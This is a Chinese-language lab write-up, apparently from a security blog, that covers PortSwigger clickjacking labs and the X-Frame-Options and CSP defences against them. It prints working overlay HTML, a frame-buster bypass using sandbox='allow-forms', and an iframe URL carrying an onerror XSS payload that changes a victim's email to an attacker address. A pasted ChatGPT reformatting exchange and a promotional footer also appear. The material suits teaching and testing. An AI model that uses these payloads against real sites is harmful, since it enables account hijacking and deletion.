一、点击劫持
点击劫持是一种基于界面的攻击,用户通过点击诱饵网站中的一些其他内容被诱骗点击隐藏网站上的可操作内容。举例来说,一个网络用户可能会访问一个诱饵网站(可能是通过电子邮件提供的链接),并点击一个按钮以赢取奖品。然而,他们可能会在不知情的情况下点击了另一个隐藏按钮,导致了另一个网站上的帐户被用来支付款项。这就是点击劫持攻击的一个例子。这种攻击技术依赖于将一个不可见但可操作的网页(或多个网页)合并在一起,其中包含一个按钮或者隐藏链接,通常是通过iframe实现的,这个iframe会覆盖在用户预期的诱饵网页内容之上。
点击劫持攻击与CSRF攻击有所不同,因为它需要用户执行点击等操作,而CSRF攻击则是依赖于在用户不知情或不输入的情况下伪造整个请求。
为了防止CSRF攻击,通常会使用CSRF令牌:一种特定于会话、只能使用一次的数字或随机数。然而,CSRF令牌并不能有效地减轻点击劫持攻击,因为目标会话是通过从可信网站加载的内容建立的,所有请求都在域内发生。CSRF令牌会被包含在请求中,并作为正常会话行为的一部分传递给服务器。不同之处在于这个过程发生在隐藏的iframe中,而不是普通用户会话中。
二、构造基本的点击劫持攻击
1、简述:点击劫持攻击使用CSS来创建和操作层。攻击者将目标网站合并为覆盖在诱饵网
站上的iframe层。使用style标记和参数的示例如下:
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
2、点击劫持攻击构造解释:
点击劫持攻击使用 CSS 和 HTML 来创建一个层,将目标网站的 iframe 覆盖在诱饵网站上。攻击者需要确保适当的宽度、高度和位置值,使得目标网站的动作与诱饵网站精确重叠,而与用户的屏幕大小、浏览器类型和操作系统无关。以下是构造点击劫持攻击的关键步骤:
绝对和相对位置值: 使用绝对和相对位置值来确保目标网站的 iframe 准确地与诱饵网站重叠,这样用户执行操作时会触发目标网站的动作。
z-index: 使用 z-index 属性来决定 iframe 和网站层的堆叠顺序,确保目标网站位于上层以被用户点击。
Opacity(不透明度): 设置 iframe 的 opacity 值为接近 0 的数值(如 0.00001),使得 iframe 对用户来说是透明的,从而避免用户察觉到点击劫持攻击的存在。
浏览器的点击劫持防护可能会根据透明度检测来判断是否触发保护行为,因此攻击者需要选择一个不透明度值,以便在不触发保护行为的情况下实现所需效果。
3、Clickbandit工具:
手动创建点击劫持攻击概念验证可能会相当乏味和耗时。为了简化测试过程,可以使用 Burp 的 Clickbandit 工具。这个工具允许使用浏览器在可成帧页面上执行所需的操作,然后自动生成包含适当点击劫持覆盖层的 HTML 文件。这样可以在几秒钟内生成交互式概念验证,而无需编写 HTML 或 CSS。
4、实验:
实验1涉及带有 CSRF 令牌保护的基本点击劫持。实验包含了登录功能和受 CSRF 令牌保护的删除账户按钮。用户需要点击诱饵网站上显示单词“click”的元素来触发攻击。以下是实验步骤的简要说明:
登录账号: 用户首先需要登录账号来访问受 CSRF 保护的操作。
调整模板: 对模板进行调整,将 iframe 的 src 属性中的 YOUR-LAB-ID 替换为自己的实验室 ID,同时设置合适的像素值和不透明度,以确保目标 iframe 是透明的并且能够被精确定位。
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
我的是:<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:500px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="[https://0a11000404d22a86c463666000e90017.web-security
-academy.net/my-account"></iframe>](https://0a11000404d22a86c463666000e90017.web-security-academy.net/my-account"></iframe>)
在实验的第二部分中,需要确保正确排列 div 元素,并且当鼠标悬停在 "click me" 上时
,光标应该变为手形,这表示 div 元素已经被正确定位。接下来是将利用漏洞攻击传送给受
害者的步骤。以下是优化后的文章内容:
part2:
请确认 div 元素已正确排列,当鼠标悬停在 "click me" 上时,光标应该变为手
形,这表明 div 元素已被正确定位。如果需要调整,请修改样式表的 top 和 left 属性。
完成排列后,请点击 "Store"。
完成实验
三、使用预填充表单输入的点击劫持
1、简述:一些需要表单完成和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。其他网站可能要求在提交表单之前输入文本。由于 GET 值是 URL 的一部分,因此可以修改目标 URL 以包含攻击者选择的值,并将透明的“提交”按钮覆盖在诱饵站点上,如基本的点击劫持示例所示。
2、涉及实验:
实验2:从 URL 参数预填充表单输入数据的点击劫持
信息:本实验扩展了实验中的基本点击劫持示例:基本的点击劫持与 CSRF 令牌保护。实验的目标是通过使用 URL 参数预填充表单并诱使用户无意中单击“Update email”按钮来更改用户的电子邮件地址。
解决实验:制作一些 HTML 来构建帐户页面,并欺骗用户通过单击“点击我”诱饵来更新他们的电子邮件地址。
已有账号:wiener:peter
part1:
-
登录账号:首先登录账号以访问用户帐户页面。
-
调整模板:对模板进行以下调整:
-
将 YOUR-LAB-ID 替换为自己的实验室 ID,以便 URL 指向目标网站的用户帐户页面,其中包含 "更新电子邮件" 表单。
-
用合适的像素值替换 iframe 的 $height_value 和 $width_value 变量(建议分别为 700px 和 500px)。
-
用合适的像素值替换诱饵网页内容的 $top_value 和 $side_value 变量,使 "更新电子邮件" 按钮和 "测试我" 诱饵动作对齐(我们建议分别为 450px 和 80px)。
-
设置不透明度值 $opacity 以确保目标 iframe 是透明的。最初,使用 0.1 的不透明度,以便可以对齐 iframe 操作并根据需要调整位置值。对于提交的攻击,值 0.0001 将起作用。
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
我的是:
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="[https://0a790033031f7481c04d45b0001b0062.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>](https://0a790033031f7481c04d45b0001b0062.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>)
part2:
点击 "Store",然后点击 "View" 查看漏洞。
将鼠标悬停在 "Test me" 上,确保光标变为手形,这表明 div 元素
已经被正确定位。如果光标没有变成手形,请通过修改样式表的 top
和 left 属性来调整 div 元素的位
图片.png
正确排列div元素后,将"Test me"更改为"Click me",然后单击Store。现在,单击D
eliver exploit to victim(将漏洞利用发送给受害者)
图片.png
完成实验
三、帧分解脚本
-
简述:
-
点击劫持攻击可能发生在任何可以被框定的网站上。为了防止这种攻击,常用的客户端保护技术包括帧破坏或帧中断脚本,可以通过JavaScript插件或扩展(如NoScript)实现。这些脚本可以执行以下行为:
-
检查并确保当前应用程序窗口是主窗口或顶部窗口;
-
使所有帧可见;
-
防止对不可见帧的点击;
-
拦截并标记潜在的点击劫持攻击。
-
-
帧破坏技术:
-
帧破坏脚本通常是特定于浏览器和平台的,并且可以通过HTML的灵活性进行绕过。由于framebuster是JavaScript脚本,因此浏览器的安全设置可能会阻止其运行,甚至有些浏览器可能不支持JavaScript。攻击者可以使用HTML5的iframe sandbox属性来对付framebuster脚本,例如,设置sandbox属性为"allow-forms",这样可以防止帧破坏行为,同时允许目标站点内的功能。
-
-
涉及实验:实验3:使用帧破坏脚本进行点击劫持
-
本实验室受框架破坏器保护,可防止网站被框架破坏。
-
解决实验:制作HTML构建帐户页面,并欺骗用户通过点击“点击我”来更改他们的电子邮件地址。
-
已有账号:wiener:peter
-
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe sandbox="allow-forms"
src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
我的是:<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms"
src="[https://0a0f00a603703c46c2fb259800fa00bc.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>](https://0a0f00a603703c46c2fb259800fa00bc.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>)
part2:
完成登录和实验调整后,进行以下操作:
-
单击存储,然后单击查看漏洞(view)。
-
将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果光标未变为手形,需要通过修改样式表的top和left属性来调整div元素的位置,确保其正确对齐。
-
单击“Update email”按钮执行实验。
图片.png
正确排列div元素后,将"Test me"更改为"Click me",然后单击St
ore现在,单击Deliver exploit to victim(将漏洞利用发送给
受害者)
完成实验
四、将点击劫持与DOM结合使用 XSS攻击
1. 简述
点击劫持与DOM XSS攻击的结合可以增强攻击效果。通过点击劫持作为攻击载体,利用用户的点击行为触发DOM XSS漏洞,攻击者可以执行恶意脚本并获取用户敏感信息或执行恶意操作。
2. 涉及实验:实验4:利用点击劫持漏洞触发基于DOM的XSS
信息:本实验包含一个单击即可触发的XSS漏洞。构造一个clickjacking攻击,欺骗用户单击“Click me”按钮以调用print函数。
part1:
-
登录账号并转到利用漏洞攻击服务器。
-
对模板进行以下调整:
-
将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的"Submit feedback"页面。
-
使用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700 px和500 px)。
-
使用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,使"Submit feedback"按钮和"click me"诱饵动作对齐(分别为610px和80px)。
-
设置不透明度值$opacity以确保目标iframe是透明的。建议初步使用0.1的不透明度,然后根据需要调整位置值。对于提交的攻击,值0.0001将起作用。
-
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe
src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
我的是:<style
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:610px;
left:80px;
z-index: 1;
}
</style>
<div>click me</div>
<iframe
src="[https://0a5600e703363c7ac24734f9000d00a0.web-security-academy.net/feedback?name=<img](https://0a5600e703363c7ac24734f9000d00a0.web-security-academy.net/feedback?name=<img) src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
part2:
单击"存储"按钮后,再单击"查看漏洞(view)"按钮。
请确保在页面上将鼠标悬停在"Test me"按钮上时,光标会变成手形,这表明div元素的位置是正确的。如果光标没有变成手形,则需要通过修改样式表的top和left属性来调整div元素的位置,使其对应于预期的位置。
正确排列div元素后,将"Test me"更改为"Click me",然后单击Store现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)
完成实验
五、多步点击劫持
1、简述:攻击者操纵目标网站的输入可能需要多个操作。例如,攻击者可能希望诱使用户从零售网站购买商品,因此需要在下单之前将商品添加到购物篮中。攻击者可以使用多个division或iframe来实现这些操作。从攻击者的角度来看,此类攻击需要相当的精确性和谨慎性,才能有效和隐蔽。
2、涉及实验:实验5:多步点击劫持
实验5:多步点击劫持信息:本实验包含一些受CSRF令牌保护的帐户功能,还包含一个确认对话框,用于防止点击劫持。
解决实验:设计一个攻击,通过单击“先单击我”和“下一步单击我”诱饵操作,诱骗用户单击删除帐户按钮和确认对话框(需要使用两个元素)。
已有账号:wiener:peter
part1:
登录账号
转到利用漏洞攻击服务器,对模板进行以下调整:
1、将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的用户帐户页面。
2、用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700px和500px)。
3、用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,以便"删除帐户"按钮和"先测试我"诱饵操作对齐(分别为330px和50px)。
4、为$top_value2和$side_value2变量替换一个合适的值,以便"Testmenext"诱饵操作与确认页面上的"Yes"按钮对齐(我们建议分别为285px和225px)。
5、设置不透明度值$opacity以确保目标iframe是透明的。最初,使用0.1的不透明度,以便可以对齐iframe操作并根据需要调整位置值。对于提交的攻击,值0.0001将起作用。
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
我的是:<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:500px;
left:50px;
z-index: 1;
}
.secondClick {
top:290px;
left:215px;
}
</style>
<div class="firstClick">click me first</div>
<div class="secondClick">click me next</div>
<iframe src="[https://0a3d009e04f7083bc0ac0e680046002a.web-security-academy.net/my-account"></iframe>](https://0a3d009e04f7083bc0ac0e680046002a.web-security-academy.net/my-account"></iframe>)
part2:
单击存储,然后单击查看漏洞(view)
将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果没有,请通过修改样式表的top和left属性来调整div元素的位置
正确排列div元素后,将"click me"更改为"Click me",然后单击Store现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)
完成实验
六、防止点击劫持攻击 1、简述:1、点击劫持是一种浏览器端行为,其成功与否取决于浏览器的功能以及是否符合流 行的网络标准和最佳实践。通过定义和传达对组件(如iframe)使用的约束,可以提供针对 点击劫持的服务器端保护。但保护的实现取决于浏览器的遵从性和这些约束的实施。服务器端 点击劫持保护的两种机制是X-Frame-Options和Content Security Policy。2、X形 框架-选项 X-Frame-Options最初是作为Internet Explorer 8中的一个非官方响应头引入的, 它很快被其他浏览器采用。标头为网站所有者提供了对iframe或对象使用的控制,以便可以 使用deny指令:X-Frame-Options: deny 或者,可以使用sameorigin指令将框架限制为与网站相同的源 directive X-Frame-Options: sameorigin 或使用allow-from指令:X-Frame-Options: allow-from [https://normal-we bsite.com](https://normal-website.com) X-Frame-Options在不同浏览器之间的实现不一致(允许指令在Chrome版本76或Safa ri 12中不受支持)。然而当与内容安全策略一起作为多层防御策略的一部分正确应用时,它 可以提供针对点击劫持攻击的有效保护 3、内容安全策略(CSP) 1、内容安全策略(CSP)是一种检测和预防机制,可以减轻XSS和点击劫持等攻击。CSP通 常在Web服务器中实现为以下格式的返回头:Content-Security-Policy: policy 2、其中policy是以分号分隔的策略指令字符串。CSP向客户端浏览器提供关于浏览器可应 用于恶意行为的检测和拦截的web资源的许可源的信息 3、点击劫持保护包括frame-ancestors应用程序的内容安全策略中的指令。该frame-a ncestors 'none'指令的行为与X-Frame-Options类似deny指令。该frame-ances tors 'self'指令大致等同于X-Frame-Options 同源指令。以下CSP白名单仅将帧添加 到同一域:Content-Security-Policy: frame-ancestors 'self'; 或框架可以被限制到命名的站点:Content-Security-Policy: frame-ancestor s normal-website.com; 为了有效地对抗点击劫持和XSS,CSP需要仔细的开发、实现和测试,并且应该作为多层防 御策略的一部分使用 优化文章字体内容结构 中文
ChatGPT
Here's an optimized version of the section on preventing Clickjacking attacks:
六、防止点击劫持攻击
1、简述
点击劫持是一种浏览器端攻击,其成功与否取决于浏览器的功能以及是否符合流行的网络标准和最佳实践。通过定义和传达对组件(如iframe)使用的约束,可以提供针对点击劫持的服务器端保护。服务器端点击劫持保护的两种主要机制是X-Frame-Options和内容安全策略(CSP)。
2、X-Frame-Options
X-Frame-Options最初是作为Internet Explorer 8中的一个非官方响应头引入的,后来被其他浏览器采用。它为网站所有者提供了对iframe或对象使用的控制,以便可以使用以下指令:
-
deny:X-Frame-Options: deny
-
sameorigin:X-Frame-Options: sameorigin
-
allow-from:X-Frame-Options: allow-from https://normal-website.com
虽然X-Frame-Options在不同浏览器之间的实现不一致,但与内容安全策略一起正确应用时,可以提供有效保护。
3、内容安全策略(CSP)
CSP是一种检测和预防机制,可以减轻XSS和点击劫持等攻击。它通常在Web服务器中实现为以下格式的返回头:Content-Security-Policy: policy。其中policy是以分号分隔的策略指令字符串,包括frame-ancestors指令用于点击劫持保护。
示例CSP白名单:
-
frame-ancestors 'self':只允许来自同一域的框架。
-
frame-ancestors normal-website.com:限制框架到指定的站点。
为了有效对抗点击劫持和XSS,CSP需要仔细的开发、实现和测试,并且应该作为多层防御策略的一部分使用。
文中工具获取
公众号:【吉吉说安全】,对我发消息【20240419】免费获取
「你即将失去如下所有学习变强机会」
学习效率低,学不到实战内容,花几千、上万报机构没有性价比
一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任
【详情下方图片了解】,【扫下方二维码加入】:只做高质量优质精品内容」
免费红队知识库:
免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!